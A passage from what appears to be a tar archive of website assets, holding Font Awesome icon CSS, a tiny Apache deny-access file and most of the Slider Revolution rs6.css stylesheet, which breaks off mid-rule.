.fa-cc-diners-club:before { content: "\f24c"; } .fa-clone:before { content: "\f24d"; } .fa-balance-scale:before { content: "\f24e"; } .fa-hourglass-o:before { content: "\f250"; } .fa-hourglass-1:before, .fa-hourglass-start:before { content: "\f251"; } .fa-hourglass-2:before, .fa-hourglass-half:before { content: "\f252"; } .fa-hourglass-3:before, .fa-hourglass-end:before { content: "\f253"; } .fa-hourglass:before { content: "\f254"; } .fa-hand-grab-o:before, .fa-hand-rock-o:before { content: "\f255"; } .fa-hand-stop-o:before, .fa-hand-paper-o:before { content: "\f256"; } .fa-hand-scissors-o:before { content: "\f257"; } .fa-hand-lizard-o:before { content: "\f258"; } .fa-hand-spock-o:before { content: "\f259"; } .fa-hand-pointer-o:before { content: "\f25a"; } .fa-hand-peace-o:before { content: "\f25b"; } .fa-trademark:before { content: "\f25c"; } .fa-registered:before { content: "\f25d"; } .fa-creative-commons:before { content: "\f25e"; } .fa-gg:before { content: "\f260"; } .fa-gg-circle:before { content: "\f261"; } .fa-tripadvisor:before { content: "\f262"; } .fa-odnoklassniki:before { content: "\f263"; } .fa-odnoklassniki-square:before { content: "\f264"; } .fa-get-pocket:before { content: "\f265"; } .fa-wikipedia-w:before { content: "\f266"; } .fa-safari:before { content: "\f267"; } .fa-chrome:before { content: "\f268"; } .fa-firefox:before { content: "\f269"; } .fa-opera:before { content: "\f26a"; } .fa-internet-explorer:before { content: "\f26b"; } .fa-tv:before, .fa-television:before { content: "\f26c"; } .fa-contao:before { content: "\f26d"; } .fa-500px:before { content: "\f26e"; } .fa-amazon:before { content: "\f270"; } .fa-calendar-plus-o:before { content: "\f271"; } .fa-calendar-minus-o:before { content: "\f272"; } .fa-calendar-times-o:before { content: "\f273"; } .fa-calendar-check-o:before { content: "\f274"; } .fa-industry:before { content: "\f275"; } .fa-map-pin:before { content: "\f276"; } .fa-map-signs:before { content: "\f277"; } .fa-map-o:before { content: "\f278"; } .fa-map:before { content: "\f279"; } .fa-commenting:before { content: "\f27a"; } .fa-commenting-o:before { content: "\f27b"; } .fa-houzz:before { content: "\f27c"; } .fa-vimeo:before { content: "\f27d"; } .fa-black-tie:before { content: "\f27e"; } .fa-fonticons:before { content: "\f280"; } .fa-reddit-alien:before { content: "\f281"; } .fa-edge:before { content: "\f282"; } .fa-credit-card-alt:before { content: "\f283"; } .fa-codiepie:before { content: "\f284"; } .fa-modx:before { content: "\f285"; } .fa-fort-awesome:before { content: "\f286"; } .fa-usb:before { content: "\f287"; } .fa-product-hunt:before { content: "\f288"; } .fa-mixcloud:before { content: "\f289"; } .fa-scribd:before { content: "\f28a"; } .fa-pause-circle:before { content: "\f28b"; } .fa-pause-circle-o:before { content: "\f28c"; } .fa-stop-circle:before { content: "\f28d"; } .fa-stop-circle-o:before { content: "\f28e"; } .fa-shopping-bag:before { content: "\f290"; } .fa-shopping-basket:before { content: "\f291"; } .fa-hashtag:before { content: "\f292"; } .fa-bluetooth:before { content: "\f293"; } .fa-bluetooth-b:before { content: "\f294"; } .fa-percent:before { content: "\f295"; } .fa-gitlab:before { content: "\f296"; } .fa-wpbeginner:before { content: "\f297"; } .fa-wpforms:before { content: "\f298"; } .fa-envira:before { content: "\f299"; } .fa-universal-access:before { content: "\f29a"; } .fa-wheelchair-alt:before { content: "\f29b"; } .fa-question-circle-o:before { content: "\f29c"; } .fa-blind:before { content: "\f29d"; } .fa-audio-description:before { content: "\f29e"; } .fa-volume-control-phone:before { content: "\f2a0"; } .fa-braille:before { content: "\f2a1"; } .fa-assistive-listening-systems:before { content: "\f2a2"; } .fa-asl-interpreting:before, .fa-american-sign-language-interpreting:before { content: "\f2a3"; } .fa-deafness:before, .fa-hard-of-hearing:before, .fa-deaf:before { content: "\f2a4"; } .fa-glide:before { content: "\f2a5"; } .fa-glide-g:before { content: "\f2a6"; } .fa-signing:before, .fa-sign-language:before { content: "\f2a7"; } .fa-low-vision:before { content: "\f2a8"; } .fa-viadeo:before { content: "\f2a9"; } .fa-viadeo-square:before { content: "\f2aa"; } .fa-snapchat:before { content: "\f2ab"; } .fa-snapchat-ghost:before { content: "\f2ac"; } .fa-snapchat-square:before { content: "\f2ad"; } .fa-pied-piper:before { content: "\f2ae"; } .fa-first-order:before { content: "\f2b0"; } .fa-yoast:before { content: "\f2b1"; } .fa-themeisle:before { content: "\f2b2"; } .fa-google-plus-circle:before, .fa-google-plus-official:before { content: "\f2b3"; } .fa-fa:before, .fa-font-awesome:before { content: "\f2b4"; } .fa-handshake-o:before { content: "\f2b5"; } .fa-envelope-open:before { content: "\f2b6"; } .fa-envelope-open-o:before { content: "\f2b7"; } .fa-linode:before { content: "\f2b8"; } .fa-address-book:before { content: "\f2b9"; } .fa-address-book-o:before { content: "\f2ba"; } .fa-vcard:before, .fa-address-card:before { content: "\f2bb"; } .fa-vcard-o:before, .fa-address-card-o:before { content: "\f2bc"; } .fa-user-circle:before { content: "\f2bd"; } .fa-user-circle-o:before { content: "\f2be"; } .fa-user-o:before { content: "\f2c0"; } .fa-id-badge:before { content: "\f2c1"; } .fa-drivers-license:before, .fa-id-card:before { content: "\f2c2"; } .fa-drivers-license-o:before, .fa-id-card-o:before { content: "\f2c3"; } .fa-quora:before { content: "\f2c4"; } .fa-free-code-camp:before { content: "\f2c5"; } .fa-telegram:before { content: "\f2c6"; } .fa-thermometer-4:before, .fa-thermometer:before, .fa-thermometer-full:before { content: "\f2c7"; } .fa-thermometer-3:before, .fa-thermometer-three-quarters:before { content: "\f2c8"; } .fa-thermometer-2:before, .fa-thermometer-half:before { content: "\f2c9"; } .fa-thermometer-1:before, .fa-thermometer-quarter:before { content: "\f2ca"; } .fa-thermometer-0:before, .fa-thermometer-empty:before { content: "\f2cb"; } .fa-shower:before { content: "\f2cc"; } .fa-bathtub:before, .fa-s15:before, .fa-bath:before { content: "\f2cd"; } .fa-podcast:before { content: "\f2ce"; } .fa-window-maximize:before { content: "\f2d0"; } .fa-window-minimize:before { content: "\f2d1"; } .fa-window-restore:before { content: "\f2d2"; } .fa-times-rectangle:before, .fa-window-close:before { content: "\f2d3"; } .fa-times-rectangle-o:before, .fa-window-close-o:before { content: "\f2d4"; } .fa-bandcamp:before { content: "\f2d5"; } .fa-grav:before { content: "\f2d6"; } .fa-etsy:before { content: "\f2d7"; } .fa-imdb:before { content: "\f2d8"; } .fa-ravelry:before { content: "\f2d9"; } .fa-eercast:before { content: "\f2da"; } .fa-microchip:before { content: "\f2db"; } .fa-snowflake-o:before { content: "\f2dc"; } .fa-superpowers:before { content: "\f2dd"; } .fa-wpexplorer:before { content: "\f2de"; } .fa-meetup:before { content: "\f2e0"; } public/assets/fonts/font-awesome/css/index.php000060400000000033151724235760015475 0ustar00 Order allow,deny Deny from all public/assets/css/rs6.css000060400000161624151724235760011362 0ustar00/* FIX FOR WORDPRESS's CRAZY

            TAG ANOMALY */ .rs-p-wp-fix { display: none !important; margin: 0 !important; height: 0px !important; } /* NEW Z-INDEX FIX*/ .wp-block-themepunch-revslider { position: relative } /* FIX FOR QUICK LOADING OF SLIDER SCRIPTS AND WP-ROCKET READDING IMG TAG INTO DOM*/ /*rs-sbg-px rs-sbg-wrap img { display:none !important}*/ /* MODAL BASICS */ rs-modal { position: fixed !important; z-index: 9999999 !important; pointer-events: none !important;} rs-modal.rs-modal-auto { top: auto;bottom: auto;left: auto; right:auto; } rs-modal.rs-modal-fullwidth, rs-modal.rs-modal-fullscreen { top: 0px; left: 0px; width: 100%; height: 100%; } rs-modal rs-fullwidth-wrap { position: absolute; top: 0px; left: 0px; height: 100%;} rs-module-wrap.rs-modal { display:none; max-height: 100% !important; overflow: auto !important; pointer-events: auto !important;} rs-module-wrap.hideallscrollbars.rs-modal { overflow: hidden !important; max-width: 100% !important} rs-modal-cover { width: 100%; height: 100%; z-index: 0; background: transparent; position: absolute;top: 0px;left: 0px; cursor: pointer; pointer-events: auto} body>rs-modal-cover { position: fixed; z-index: 9999995 !important; } rs-sbg-px { pointer-events: none } .rs-forceuntouchable, .rs-forceuntouchable * { pointer-events: none !important; } .rs-forcehidden * { visibility: hidden !important; } /*rs-modal rs-fullwidth-wrap rs-module-wrap { transform: translateY(-50%) !important; top: 50% !important; }*/ .rs_splitted_lines { display: block; white-space: nowrap !important} .rs-go-fullscreen { position:fixed !important; width:100% !important; height:100% !important; top:0px !important; left:0px !important; z-index:9999999 !important; background:#ffffff; } .rtl { direction: rtl;} @font-face { font-family: 'revicons'; src: url('../fonts/revicons/revicons.eot?5510888'); src: url('../fonts/revicons/revicons.eot?5510888#iefix') format('embedded-opentype'), url('../fonts/revicons/revicons.woff?5510888') format('woff'), url('../fonts/revicons/revicons.ttf?5510888') format('truetype'), url('../fonts/revicons/revicons.svg?5510888#revicons') format('svg'); font-weight: normal; font-style: normal; font-display: swap; } [class^="revicon-"]:before, [class*=" revicon-"]:before { font-family: "revicons"; font-style: normal; font-weight: normal; speak: never; speak-as: spell-out; display: inline-block; text-decoration: inherit; width: 1em; margin-right: .2em; text-align: center; /* For safety - reset parent styles, that can break glyph codes*/ font-variant: normal; text-transform: none; /* fix buttons height, for twitter bootstrap */ line-height: 1em; /* Animation center compensation - margins should be symmetric */ /* remove if not needed */ margin-left: .2em; /* you can be more comfortable with increased icons size */ /* font-size: 120%; */ /* Uncomment for 3D effect */ /* text-shadow: 1px 1px 1px rgba(127, 127, 127, 0.3); */ } rs-module i[class^="fa-"], rs-module i[class*=" fa-"], .rb-modal-wrapper i[class^="fa-"], .rb-modal-wrapper i[class*=" fa-"], #waitaminute i[class^="fa-"], #waitaminute i[class*=" fa-"], #objectlibrary i[class^="fa-"], #objectlibrary i[class*=" fa-"], #rs_overview i[class^="fa-"], #rs_overview i[class*=" fa-"], #rs_overview_menu i[class^="fa-"], #rs_overview_menu i[class*=" fa-"], #builderView i[class^="fa-"], #builderView i[class*=" fa-"] { display: inline-block; font: normal normal normal 14px/1 FontAwesome; font-size: inherit; text-rendering: auto; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } rs-module [class^="fa-"]:before, rs-module [class*=" fa-"]:before, .rb-modal-wrapper [class^="fa-"]:before, .rb-modal-wrapper [class*=" fa-"]:before, #rs_overview [class^="fa-"]:before, #rs_overview [class*=" fa-"]:before, #objectlibrary [class^="fa-"]:before, #objectlibrary [class*=" fa-"]:before, #waitaminute [class^="fa-"]:before, #waitaminute [class*=" fa-"]:before, #rs_overview_menu [class^="fa-"]:before, #rs_overview_menu [class*=" fa-"]:before, #builderView [class^="fa-"]:before, #builderView [class*=" fa-"]:before { font-family: FontAwesome; font-style: normal; font-weight: 400; speak: never; speak-as: spell-out; display: inline-block; text-decoration: inherit; width: auto; margin-right: 0; text-align: center; font-variant: normal; text-transform: none; line-height: inherit; margin-left: 0; } rs-module .sr-only, #objectlibrary .sr-only, #waitaminute .sr-only, #rs_overview .sr-only, #rs_overview_menu .sr-only, .rb-modal-wrapper .sr-only, #builderView .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } rs-module .sr-only-focusable:active, rs-module .sr-only-focusable:focus, #waitaminute .sr-only-focusable:active, #waitaminute .sr-only-focusable:focus, #objectlibrary .sr-only-focusable:active, #objectlibrary .sr-only-focusable:focus, #rs_overview .sr-only-focusable:active, #rs_overview .sr-only-focusable:focus, #rs_overview_menu .sr-only-focusable:active, #rs_overview_menu .sr-only-focusable:focus, .rb-modal-wrapper .sr-only-focusable:active, .rb-modal-wrapper .sr-only-focusable:focus, #builderView .sr-only-focusable:active, #builderView .sr-only-focusable:focus { position: static; width: auto; height: auto; margin: 0; overflow: visible; clip: auto; } .revicon-search-1:before { content: '\e802'; } /* '' */ .revicon-pencil-1:before { content: '\e831'; } /* '' */ .revicon-picture-1:before { content: '\e803'; } /* '' */ .revicon-cancel:before { content: '\e80a'; } /* '' */ .revicon-info-circled:before { content: '\e80f'; } /* '' */ .revicon-trash:before { content: '\e801'; } /* '' */ .revicon-left-dir:before { content: '\e817'; } /* '' */ .revicon-right-dir:before { content: '\e818'; } /* '' */ .revicon-down-open:before { content: '\e83b'; } /* '' */ .revicon-left-open:before { content: '\e819'; } /* '' */ .revicon-right-open:before { content: '\e81a'; } /* '' */ .revicon-angle-left:before { content: '\e820'; } /* '' */ .revicon-angle-right:before { content: '\e81d'; } /* '' */ .revicon-left-big:before { content: '\e81f'; } /* '' */ .revicon-right-big:before { content: '\e81e'; } /* '' */ .revicon-magic:before { content: '\e807'; } /* '' */ .revicon-picture:before { content: '\e800'; } /* '' */ .revicon-export:before { content: '\e80b'; } /* '' */ .revicon-cog:before { content: '\e832'; } /* '' */ .revicon-login:before { content: '\e833'; } /* '' */ .revicon-logout:before { content: '\e834'; } /* '' */ .revicon-video:before { content: '\e805'; } /* '' */ .revicon-arrow-combo:before { content: '\e827'; } /* '' */ .revicon-left-open-1:before { content: '\e82a'; } /* '' */ .revicon-right-open-1:before { content: '\e82b'; } /* '' */ .revicon-left-open-mini:before { content: '\e822'; } /* '' */ .revicon-right-open-mini:before { content: '\e823'; } /* '' */ .revicon-left-open-big:before { content: '\e824'; } /* '' */ .revicon-right-open-big:before { content: '\e825'; } /* '' */ .revicon-left:before { content: '\e836'; } /* '' */ .revicon-right:before { content: '\e826'; } /* '' */ .revicon-ccw:before { content: '\e808'; } /* '' */ .revicon-arrows-ccw:before { content: '\e806'; } /* '' */ .revicon-palette:before { content: '\e829'; } /* '' */ .revicon-list-add:before { content: '\e80c'; } /* '' */ .revicon-doc:before { content: '\e809'; } /* '' */ .revicon-left-open-outline:before { content: '\e82e'; } /* '' */ .revicon-left-open-2:before { content: '\e82c'; } /* '' */ .revicon-right-open-outline:before { content: '\e82f'; } /* '' */ .revicon-right-open-2:before { content: '\e82d'; } /* '' */ .revicon-equalizer:before { content: '\e83a'; } /* '' */ .revicon-layers-alt:before { content: '\e804'; } /* '' */ .revicon-popup:before { content: '\e828'; } /* '' */ /****************************** - BASIC STYLES - ******************************/ .tp-fullwidth-forcer { z-index: 0; pointer-events: none} rs-module-wrap { visibility: hidden } rs-module-wrap, rs-module-wrap * { box-sizing: border-box; -webkit-tap-highlight-color: rgba(0,0,0,0);} rs-module-wrap {position:relative;z-index: 1;width:100%; display: block;} .rs-fixedscrollon rs-module-wrap { position: fixed !important; top: 0px !important; z-index: 1000; left: 0 !important;} .rs-stickyscrollon rs-module-wrap { position: sticky !important; top:0px; z-index: 1000; } .rs-stickyscrollon { overflow: visible !important; } rs-fw-forcer { display:block;width:100%;pointer-events: none;} rs-module { position:relative;overflow:hidden;display: block; } rs-module.disableVerticalScroll { -ms-touch-action: pan-x; touch-action: pan-x; } rs-pzimg-wrap, rs-sbg-effectwrap, rs-sbg { display: block; pointer-events: none } rs-sbg-effectwrap { position:absolute;top:0px;left:0px;width:100%;height:100% } rs-carousel-wrap rs-column rs-layer img { width: 0px; height: 0px; } rs-sbg-px, rs-sbg-wrap {position:absolute; top:0px; left:0px; z-index:0;width:100%;height:100%;display: block;} a.rs-layer, a.rs-layer:-webkit-any-link { text-decoration: none } a[x-apple-data-detectors] { color: inherit !important; text-decoration: none !important; font-size: inherit !important; font-family: inherit !important; font-weight: inherit !important; line-height: inherit !important; } .entry-content rs-module a, rs-module a { box-shadow: none; } .rs-ov-hidden { overflow:hidden !important;} .rs-forceoverflow, .rs-forceoverflow rs-module-wrap, .rs-forceoverflow rs-module, .rs-forceoverflow rs-slides, .rs-forceoverflow rs-slide { overflow:visible !important} .rs-parallax-hidden-of rs-slide { overflow:hidden !important} .tp-simpleresponsive img, rs-module img{ max-width:none !important; transition: none; margin:0px; padding:0px; border:none; } rs-module .no-slides-text{font-weight:bold;text-align:center;padding-top:80px;} rs-slides, rs-slide, rs-slide:before { position:absolute;text-indent: 0em;top:0px;left:0px;} rs-slide,rs-slide:before { display:block; visibility:hidden; } .rs-layer .rs-untoggled-content { display:block;} .rs-layer .rs-toggled-content { display:none;} .rs-tc-active.rs-layer > .rs-toggled-content { display:block;} .rs-tc-active.rs-layer > .rs-untoggled-content { display:none;} .rs-layer-video { overflow: hidden } .rs_html5vidbasicstyles { position:relative;top:0px;left:0px;width:100%;height:100%; overflow:hidden; } rs-module rs-layer, rs-module .rs-layer { opacity: 0; position:relative; visibility: hidden; /*white-space: nowrap; Fix for Mobile Padding issues on long texts */ display: block; -webkit-font-smoothing: antialiased !important; -webkit-tap-highlight-color:rgba(0, 0, 0, 0); -moz-osx-font-smoothing: grayscale; z-index:1; font-display: swap; } rs-layer-wrap, rs-mask, rs-module-wrap, rs-module .rs-layer, rs-module img { user-select: none; } rs-module rs-mask-wrap .rs-layer, rs-module rs-mask-wrap *:last-child, .wpb_text_column rs-module rs-mask-wrap .rs-layer, .wpb_text_column rs-module rs-mask-wrap *:last-child{ margin-bottom:0; } .rs-svg svg { width:100%; height:100%;position: relative;vertical-align: top} rs-layer:not(.rs-wtbindex), .rs-layer:not(.rs-wtbindex), rs-alyer *:not(.rs-wtbindex), .rs-layer *:not(.rs-wtbindex) { outline: none !important; } /* CAROUSEL FUNCTIONS */ rs-carousel-wrap { cursor:url(openhand.cur), move; } rs-carousel-wrap.dragged { cursor:url(closedhand.cur), move; } rs-carousel-wrap.noswipe { cursor: default; } rs-carousel-wrap { position: absolute; overflow: hidden; width:100%;height:100%;top:0px;left:0px;} rs-carousel-space { clear:both;display:block;width:100%;height:0px;position:relative;} /* ADDED FOR SLIDELINK MANAGEMENT */ .tp_inner_padding { box-sizing:border-box; max-height:none !important; } .rs-layer.rs-selectable { user-select: text; } rs-px-mask { overflow: hidden; display: block; width: 100%; height: 100%; position: relative; } rs-module embed, rs-module iframe, rs-module object, rs-module audio, rs-module video { max-width: none !important; border: none; } rs-bg-elem { position:absolute; top:0px;left:0px; width:100%;height:100%;z-index:0; display: block; pointer-events: none; } .tp-blockmask, .tp-blockmask_in, .tp-blockmask_out { position: absolute; top: 0px; left: 0px; width: 100%; height: 100%; background: #fff; z-index: 1000; transform: scaleX(0) scaleY(0);} /*********************************************************** - ZONES / GOUP / ROW / COLUMN LAYERS AND HELPERS - ***********************************************************/ rs-zone { position:absolute; width:100%;left:0px; box-sizing: border-box;min-height:50px; font-size:0px;pointer-events: none} rs-row-wrap, rs-column, rs-cbg-mask-wrap { display:block; visibility: hidden} rs-layer-wrap, rs-parallax-wrap, rs-loop-wrap, rs-mask-wrap { display: block; } rs-column-wrap>rs-mask-wrap, rs-column-wrap>rs-loop-wrap { z-index: 1 } rs-layer-wrap, rs-mask-wrap, rs-cbg-mask-wrap { transform-style:flat;} /* ANY SAFARI NEEDS IN CAROUSEL SOME HELP TO AVOID FLICKERING, LOVELY....*/ @media screen and (min-color-index:0) and(-webkit-min-device-pixel-ratio:0) { rs-carousel-wrap rs-layer-wrap, rs-carousel-wrap rs-loop-wrap {backface-visibility: hidden;transform-style: preserve-3d;} } .safarifix rs-layer-wrap { perspective: 1000000; } @-moz-document url-prefix() { rs-layer-wrap, rs-mask-wrap, rs-cbg-mask-wrap { perspective: none; } } rs-mask-wrap { overflow: hidden } rs-fullwidth-wrap { position:relative;width:100%;height:auto;display: block; overflow:visible;max-width:none !important;} .rev_row_zone_top { top:0px;} .rev_row_zone_bottom { bottom:0px;} .rev_row_zone_middle { top: 0px;} rs-column-wrap .rs-parallax-wrap { vertical-align: top } .rs-layer img, rs-layer img { vertical-align: top } rs-row, rs-row.rs-layer { display:table; position:relative; width:100% !important; table-layout: fixed; box-sizing: border-box; vertical-align: top; height:auto; font-size:0px; } .rs-layer.rs-waction.iospermaccwait.permanenthidden { display:none !important; visibility:hidden !important; pointer-events: none !important;} rs-column-wrap { display: table-cell; position: relative; vertical-align: top; height: auto; box-sizing: border-box; font-size:0px; } rs-column { box-sizing: border-box; display: block; position: relative; width:100% !important; height:auto !important; white-space: normal !important; } rs-cbg-mask-wrap { position: absolute; z-index: 0; box-sizing: border-box; } rs-column-wrap rs-cbg-mask-wrap { top: 0px; left: 0px; bottom: 0px; right: 0px; } rs-column-bg { position: absolute; z-index: 0; box-sizing: border-box; width: 100%; height: 100%; } .rs-pelock * { pointer-events: none !important;} rs-column .rs-parallax-wrap, rs-column rs-loop-wrap, rs-column rs-mask-wrap { text-align: inherit; } rs-column rs-mask-wrap { display: inline-block;} rs-column .rs-parallax-wrap rs-loop-wrap, rs-column .rs-parallax-wrap rs-mask-wrap, rs-column .rs-parallax-wrap { position: relative; left:auto; top:auto; line-height: 0px;} rs-column .rs-parallax-wrap rs-loop-wrap, rs-column .rs-parallax-wrap rs-mask-wrap, rs-column .rs-parallax-wrap, rs-column .rev_layer_in_column { vertical-align: top; } .rev_break_columns { display: block !important } .rev_break_columns rs-column-wrap.rs-parallax-wrap { display:block !important; width:100% !important; } .rev_break_columns rs-column-wrap.rs-parallax-wrap.rs-layer-hidden, .tp-forcenotvisible, .tp-hide-revslider, rs-row-wrap.rs-layer-hidden, rs-column-wrap.rs-layer-hidden, .rs-layer.rs-layer-hidden, .rs-layer-audio.rs-layer-hidden, .rs-parallax-wrap.rs-layer-hidden { visibility:hidden !important; display:none !important } /*rs-column .rs-parallax-wrap, rs-column rs-loop-wrap, rs-column rs-mask-wrap, rs-column rs-layer { vertical-align: inherit }*/ /********************************* - SPECIAL TP CAPTIONS - **********************************/ a.rs-layer.rs-nointeraction >.div, rs-layer.rs-nointeraction:not(a), .rs-layer.rs-nointeraction:not(a) { pointer-events: none !important } rs-static-layers {position:absolute; z-index:101; top:0px;left:0px; display: block; width: 100%;height: 100%; pointer-events: none; overflow: hidden} /* new static layers position option */ rs-static-layers.rs-stl-back { z-index:0; } .rs-stl-visible{ overflow: visible !important; } .rs-layer rs-fcr { width: 0; height: 0; border-left: 40px solid transparent; border-right: 0px solid transparent; border-bottom-width: 0 !important; border-top: 40px solid #00A8FF; position: absolute; right: 100%; top: 0px; } .rs-layer rs-fcrt { width: 0; height: 0; border-left: 40px solid transparent; border-right: 0px solid transparent; border-top-width: 0 !important; border-bottom: 40px solid #00A8FF; position: absolute; right: 100%; top: 0px; } .rs-layer rs-bcr { width: 0; height: 0; border-left: 0px solid transparent; border-right: 40px solid transparent; border-bottom: 40px solid #00A8FF; border-top-width: 0 !important; position: absolute; left: 100%; top: 0px; } .rs-layer rs-bcrt { width: 0; height: 0; border-left: 0px solid transparent; border-right: 40px solid transparent; border-top: 40px solid #00A8FF; border-bottom-width: 0 !important; position: absolute; left: 100%; top: 0px; } .tp-layer-inner-rotation { position: relative !important; } /*********************************************** - SPECIAL ALTERNATIVE IMAGE SETTINGS - ***********************************************/ img.tp-slider-alternative-image { width:100%; height:auto; } /****************************** - IE8 HACKS - *******************************/ .noFilterClass { filter:none !important; } /******************************** - FULLSCREEN VIDEO - *********************************/ rs-bgvideo { position: absolute;top:0px;left:0px; width:100%;height:100%;z-index: 0; display: block} .rs-layer.rs-fsv { top:0px;left:0px; position:absolute;width:100%;height:100%} .rs-layer.rs-fsv audio, .rs-layer.rs-fsv video, .rs-layer.rs-fsv iframe, .rs-layer.rs-fsv iframe audio, .rs-layer.rs-fsv iframe video { width:100%; height:100% ; /*display: none*/} .rs-fsv video { background: #000} .fullcoveredvideo rs-poster { background-position: center center;background-size: cover;width:100%;height:100%;top:0px;left:0px} .videoisplaying .html5vid rs-poster { display: none} .tp-video-play-button { background:#000; background:rgba(0,0,0,0.3); border-radius:5px; position: absolute; top: 50%; left: 50%; color: #FFF; z-index: 3; margin-top: -25px; margin-left: -25px; line-height: 50px !important; text-align: center; cursor: pointer; width: 50px; height:50px; box-sizing: border-box; display: inline-block; vertical-align: top; z-index: 4; opacity: 0; transition:opacity 300ms ease-out !important; } .rs-ISM .tp-video-play-button{ opacity: 1; transition: none !important; z-index: 6; } .rs-audio .tp-video-play-button { display:none !important;} .rs-layer .html5vid { width:100% !important; height:100% !important;} .tp-video-play-button i { width:50px;height:50px; display:inline-block; text-align: center !important; vertical-align: top; line-height: 50px !important; font-size: 30px !important;} .rs-layer:hover .tp-video-play-button { opacity: 1; display:block; z-index: 6;} .rs-layer .tp-revstop { display:none;width: 15px; border-right: 5px solid #fff !important; border-left:5px solid #fff !important; transform: translateX(50%) translateY(50%);height: 20px;margin-left: 11px !important;margin-top: 5px !important;} .videoisplaying .revicon-right-dir { display:none} .videoisplaying .tp-revstop { display:block} .videoisplaying .tp-video-play-button { display:none} .fullcoveredvideo .tp-video-play-button { display:none !important} .rs-fsv .rs-fsv audio { object-fit:contain !important;} .rs-fsv .rs-fsv video { object-fit:contain !important;} .rs-layer-video .html5vid.hidefullscreen video::-webkit-media-controls-fullscreen-button { display: none; } @supports not (-ms-high-contrast:none) { /* Non-IE styles here */ .rs-fsv .fullcoveredvideo audio { object-fit:cover !important;} .rs-fsv .fullcoveredvideo video { object-fit:cover !important;} } .rs-fullvideo-cover { width:100%;height:100%;top:0px;left:0px;position: absolute; background:transparent;z-index:5;} .rs-nolc .tp-video-play-button, rs-bgvideo video::-webkit-media-controls-start-playback-button, rs-bgvideo video::-webkit-media-controls, rs-bgvideo audio::-webkit-media-controls { display:none !important;} .rs-audio .tp-video-controls { opacity: 1 !important; visibility: visible !important} rs-module h1.rs-layer, rs-module h2.rs-layer, rs-module h3.rs-layer, rs-module h4.rs-layer, rs-module h5.rs-layer, rs-module h6.rs-layer, rs-module div.rs-layer, rs-module span.rs-layer, rs-module p.rs-layer { margin:0; padding:0; margin-block-start: 0; margin-block-end: 0; margin-inline-start: 0; margin-inline-end: 0;} rs-module h1.rs-layer:before, rs-module h2.rs-layer:before, rs-module h3.rs-layer:before, rs-module h4.rs-layer:before, rs-module h5.rs-layer:before, rs-module h6.rs-layer:before { content: none; } /******************************** - DOTTED OVERLAYS - *********************************/ rs-dotted { background-repeat:repeat;width:100%;height:100%;position:absolute;top:0px;left:0px;z-index:3;display:block;pointer-events: none} rs-sbg-wrap rs-dotted { z-index: 31 } rs-dotted.twoxtwo { background:url(../assets/gridtile.png)} rs-dotted.twoxtwowhite { background:url(../assets/gridtile_white.png)} rs-dotted.threexthree { background:url(../assets/gridtile_3x3.png)} rs-dotted.threexthreewhite { background:url(../assets/gridtile_3x3_white.png)} /****************************** - SHADOWS - ******************************/ .tp-shadowcover { width:100%;height:100%;top:0px;left:0px;background: #fff;position: absolute; z-index: -1;} .tp-shadow1 { box-shadow: 0 10px 6px -6px rgba(0,0,0,0.8);} .tp-shadow2:before, .tp-shadow2:after, .tp-shadow3:before, .tp-shadow4:after { z-index: -2; position: absolute; content: ""; bottom: 10px; left: 10px; width: 50%; top: 85%; max-width:300px; background: transparent; box-shadow: 0 15px 10px rgba(0,0,0,0.8); transform: rotate(-3deg); } .tp-shadow2:after, .tp-shadow4:after { transform: rotate(3deg); right: 10px; left: auto; } .tp-shadow5 { position:relative; box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset; } .tp-shadow5:before, .tp-shadow5:after { content:""; position:absolute; z-index:-2; box-shadow:0 0 25px 0px rgba(0,0,0,0.6); top:30%; bottom:0; left:20px; right:20px; border-radius:100px / 20px; } /* TP BUTTONS DESKTOP SIZE */ .rev-btn, .rev-btn:visited { outline:none !important; box-shadow:none; text-decoration: none !important; box-sizing:border-box; cursor: pointer;} .rev-btn.rev-uppercase, .rev-btn.rev-uppercase:visited { text-transform: uppercase; } .rev-btn i { font-size: inherit; font-weight: normal; position: relative; top: 0px; transition: opacity 0.2s ease-out, margin 0.2s ease-out; margin-left:0px; line-height: inherit} .rev-btn.rev-hiddenicon i { font-size: inherit; font-weight: normal; position: relative; top: 0px; transition: opacity 0.2s ease-out, margin 0.2s ease-out; opacity: 0; margin-left:0px !important; width:0px !important; } .rev-btn.rev-hiddenicon:hover i { opacity: 1 !important; margin-left:10px !important; width:auto !important;} /* BURGER BUTTON */ .rev-burger { position: relative; box-sizing: border-box; padding: 22px 14px 22px 14px; border-radius: 50%; border: 1px solid rgba(51,51,51,0.25); -webkit-tap-highlight-color: rgba(0,0,0,0); -webkit-tap-highlight-color: transparent; cursor: pointer; } .rev-burger span { display: block; width: 30px; height: 3px; background: #333; transition: .7s; pointer-events: none; transform-style: flat !important; } .rev-burger span:nth-child(2) { margin: 3px 0; } .quick_style_example_wrap .rev-burger:hover :first-child, #dialog_addbutton .rev-burger:hover :first-child, .open .rev-burger :first-child, .open.rev-burger :first-child { transform: translateY(6px) rotate(-45deg); } .quick_style_example_wrap .rev-burger:hover :nth-child(2), #dialog_addbutton .rev-burger:hover :nth-child(2), .open .rev-burger :nth-child(2), .open.rev-burger :nth-child(2) { transform: rotate(-45deg); opacity: 0; } .quick_style_example_wrap .rev-burger:hover :last-child, #dialog_addbutton .rev-burger:hover :last-child, .open .rev-burger :last-child, .open.rev-burger :last-child { transform: translateY(-6px) rotate(-135deg); } .rev-burger.revb-white { border: 2px solid rgba(255,255,255,0.2); } .rev-b-span-light span, .rev-burger.revb-white span { background: #fff; } .rev-burger.revb-whitenoborder { border: 0; } .rev-burger.revb-whitenoborder span { background: #fff; } .rev-burger.revb-darknoborder { border: 0; } .rev-b-span-dark span, .rev-burger.revb-darknoborder span { background: #333; } .rev-burger.revb-whitefull { background: #fff; border:none; } .rev-burger.revb-whitefull span { background:#333; } .rev-burger.revb-darkfull { background: #333; border:none; } .rev-burger.revb-darkfull span { background:#fff; } /* SCROLL DOWN BUTTON */ @keyframes rev-ani-mouse { 0% {opacity: 1;top: 29%;} 15% {opacity: 1;top: 70%;} 50% {opacity: 0;top: 70%;} 100% {opacity: 0;top: 29%;} } .rev-scroll-btn { display: inline-block; position: relative; left: 0; right: 0; text-align: center; cursor: pointer; width:35px; height:55px; box-sizing: border-box; border: 3px solid white; border-radius: 23px; } .rev-scroll-btn > * { display: inline-block; 